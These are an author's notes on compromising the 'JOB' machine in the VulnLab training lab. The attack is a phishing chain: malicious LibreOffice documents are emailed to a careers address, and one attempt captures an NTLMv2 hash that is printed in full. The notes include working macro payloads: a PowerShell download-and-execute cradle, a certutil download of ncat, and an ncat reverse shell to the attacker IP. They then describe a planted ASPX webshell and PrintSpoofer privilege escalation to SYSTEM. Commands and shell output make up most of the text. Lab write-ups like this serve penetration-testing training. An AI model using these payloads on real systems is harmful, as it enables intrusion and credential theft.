JOB-VL Notes

JOB-VulnLab

Here is my notes on JOB box from Vulnlab.

JOB: 10.10.107.187

PORT     STATE SERVICE       VERSION
25/tcp   open  smtp          hMailServer smtpd
| smtp-vuln-cve2010-4344:
|_  The SMTP server is not Exim: NOT VULNERABLE
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: Microsoft-IIS/10.0
|_http-dombased-xss: Couldn't find any DOM based XSS.


We are looking for developers!


Please send your application to career@job.local! We recently switched to using open source products - please send your cv as a libre office document.

https://m.opnxng.com/@raphaeltzy13/introduction-to-client-side-attacks-oscp-62e9e254c0b7

https://github.com/0bfxgh0st/MMG-LO.git


./mmg-ods.py windows 1234 10.8.0.71


┌──(root㉿kali)-[/home/kali/Kali-Tools/MMG-LO]
└─# python3 mmg-ods.py windows 1234 10.8.0.71

[+] Payload: windows reverse shell
[+] Creating malicious .ods file

Done.

sendemail -f 'jonas@lookjob.com' \
                       -t 'career@job.local' \
                       -s 10.10.107.187:25 \
                       -u 'My Resume' \
                       -m 'Here is your requested resume' \
                       -a Resume.doc
					   
					   
sendemail -f 'jonas@lookjob.com' \
                       -t 'career@job.local' \
                       -s 10.10.107.187:25 \
                       -u 'My Resume' \
                       -m 'Here is your requested resume: http://10.8.0.71/Resume.doc' 
					   


sendemail -f 'jonas@lookjob.com' \
                       -t 'career@job.local' \
                       -s 10.10.107.187:25 \
                       -u 'My Resume' \
                       -m 'Here is your requested resume: Please enable editing.' \
                       -a Resume.odt
					   

					   
┌──(root㉿kali)-[/home/kali/VL/JOB/10.10.107.187]
└─# sendemail -f 'jonas@lookjob.com' \
                       -t 'career@job.local' \
                       -s 10.10.107.187:25 \
                       -u 'My Resume' \
                       -m 'Here is your requested resume: Please enable editing.' \
                       -a Resume.odt
Oct 29 15:17:21 kali sendemail[193912]: Email was sent successfully!
					   
					   
Reverse-shell will not work so we are going to use it to obtain hash instead. 

https://github.com/rmdavy/badodf

┌──(root㉿kali)-[/home/kali/Kali-Tools/badodf]
└─# python3 badodt.py

    ____            __      ____  ____  ______
   / __ )____ _____/ /     / __ \/ __ \/ ____/
  / __  / __ `/ __  /_____/ / / / / / / /_
 / /_/ / /_/ / /_/ /_____/ /_/ / /_/ / __/
/_____/\__,_/\__,_/      \____/_____/_/


Create a malicious ODF document help leak NetNTLM Creds

By Richard Davy
@rd_pentest
Python3 version by @gustanini
www.secureyourit.co.uk


Please enter IP of listener: 10.8.0.71
/home/kali/Kali-Tools/badodf/bad.odt successfully created


┌──(root㉿kali)-[/home/kali/Kali-Tools/badodf]
└─# ls
bad.odt  badodt.py  README.md

┌──(root㉿kali)-[/home/kali/Kali-Tools/badodf]
└─# mv bad.odt Resume.odt

┌──(root㉿kali)-[/home/kali/Kali-Tools/badodf]
└─# sendemail -f 'jonas@lookjob.com' \
                       -t 'career@job.local' \
                       -s 10.10.107.187:25 \
                       -u 'My Resume' \
                       -m 'Here is your requested resume' \
                       -a 'Resume.odt'

Oct 29 14:23:33 kali sendemail[179134]: Email was sent successfully!

Hash Obtained with Responder -i tun0:

[SNIP] 

[SMB] NTLMv2-SSP Client   : 10.10.107.187
[SMB] NTLMv2-SSP Username : JOB\jack.black
[SMB] NTLMv2-SSP Hash     : jack.black::JOB:c186781b0844a1eb:743E74238005A260CFE6745FEC0F80E7:010100000000000000C2ABA50D2ADB01612807817C18C3AF00000000020008004800310033004C0001001E00570049004E002D005500440045005600350035004700330035004500540004003400570049004E002D00550044004500560035003500470033003500450054002E004800310033004C002E004C004F00430041004C00030014004800310033004C002E004C004F00430041004C00050014004800310033004C002E004C004F00430041004C000700080000C2ABA50D2ADB0106000400020000000800300030000000000000000000000000200000A3F02E29D698485E9A0BC8C9101264C628950B026635DDBC8D18EC5BE52FFE280A0010000000000000000000000000000000000009001C0063006900660073002F00310030002E0038002E0030002E00370031000000000000000000


jack.black::JOB:c186781b0844a1eb:743E74238005A260CFE6745FEC0F80E7:010100000000000000C2ABA50D2ADB01612807817C18C3AF00000000020008004800310033004C0001001E00570049004E002D005500440045005600350035004700330035004500540004003400570049004E002D00550044004500560035003500470033003500450054002E004800310033004C002E004C004F00430041004C00030014004800310033004C002E004C004F00430041004C00050014004800310033004C002E004C004F00430041004C000700080000C2ABA50D2ADB0106000400020000000800300030000000000000000000000000200000A3F02E29D698485E9A0BC8C9101264C628950B026635DDBC8D18EC5BE52FFE280A0010000000000000000000000000000000000009001C0063006900660073002F00310030002E0038002E0030002E00370031000000000000000000

#NOPE, cannot crack it. 


[SNIP]

#If that don't work then at least we know the odt file is the one we should exploit. 

Exploit odt works !

Resume.odt:

Sub Main

    Shell("cmd /c powershell ""iex(new-object net.webclient).downloadstring('http://10.8.0.71/')""")
    
End Sub




Sub Main

    Shell("certutil.exe -urlcache -split -f 'http://10.8.0.71/ncat.exe' 'C:\Users\Public\ncat.exe'")
    
End Sub


Sub Main

    Shell("C:\Users\Public\ncat.exe -e cmd.exe 10.8.0.71 1234")
    
End Sub

#One command at a time, cannot run multiple commands at the same time.

https://dominicbreuker.com/post/htb_re/

https://0xdf.gitlab.io/2020/02/01/htb-re.html


sudo rlwrap nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.8.0.71] from (UNKNOWN) [10.10.107.187] 54481
Microsoft Windows [Version 10.0.20348.350]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\LibreOffice\program>whoami
whoami
job\jack.black

C:\Program Files\LibreOffice\program>whoami
whoami
job\jack.black

C:\Program Files\LibreOffice\program>hostname
hostname
job


USER-SHELL ! 

C:\Users\jack.black\Desktop>whoami
whoami
job\jack.black

C:\Users\jack.black\Desktop>hostname
hostname
job

C:\Users\jack.black\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 8032-DF86

 Directory of C:\Users\jack.black\Desktop

11/09/2021  09:43 PM    <DIR>          .
10/29/2024  05:07 PM    <DIR>          ..
11/09/2021  09:43 PM                36 user.txt
               1 File(s)             36 bytes
               2 Dir(s)  15,676,846,080 bytes free

C:\Users\jack.black\Desktop>type user.txt
type user.txt
VL{REDIRECTED}

USER.TXT: VL{REDIRECTED}


PRIV ESC: 

jack.black -> iis apppool\defaultapppool

wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v  #NOPE. 

No query user. 

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" #NOPE

No hidden ports either.

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer #NOPE


WinPEAS: 

Hostname: job
    ProductName: Windows Server 2022 Datacenter
    EditionID: ServerDatacenter
    ReleaseId: 2009
    BuildBranch: fe_release
    CurrentMajorVersionNumber: 10
    CurrentVersion: 6.3
	
	

Looks like we can write files C:\inetpub\wwwroot folder (/var/www/html in Windows). 

Upload cmd.aspx to wwwroot.

http://10.10.107.187/cmd.aspx = iis apppool\defaultapppool user !

Use that webshell to gain a shell with netcat like we did last to gain a IIS defaultpool shell.

sudo rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.0.71] from (UNKNOWN) [10.10.107.187] 55869
Microsoft Windows [Version 10.0.20348.350]
(c) Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

c:\windows\system32\inetsrv>hostname
hostname
job

iis apppool\defaultapppool SHELL !


iis apppool\defaultapppool -> SYSTEM: 

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool


c:\>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled


POTATO !

C:\Users\Public>PrintSpoofer64.exe -i -c cmd
PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.20348.350]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>hostname
hostname
job

SYSTEM-SHELL !


C:\Users\Administrator\Desktop>whoami
whoami
nt authority\system

C:\Users\Administrator\Desktop>hostname
hostname
job

C:\Users\Administrator\Desktop>type root.txt
type root.txt
VL{REDIRECTED}

ROOT.TXT: VL{REDIRECTED}





445/tcp  open  microsoft-ds?

session setup failed: NT_STATUS_ACCESS_DENIED


3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Service Info: Host: JOB; OS: Windows; CPE: cpe:/o:microsoft:windows




Check if you can write and upload files to C:\inetpub\wwwroot folder so that you can gain a shell of iis apppool\defaultapppool user, Usually this user has SeImpersonatePrivilege enabled therefore Juicy-Potato !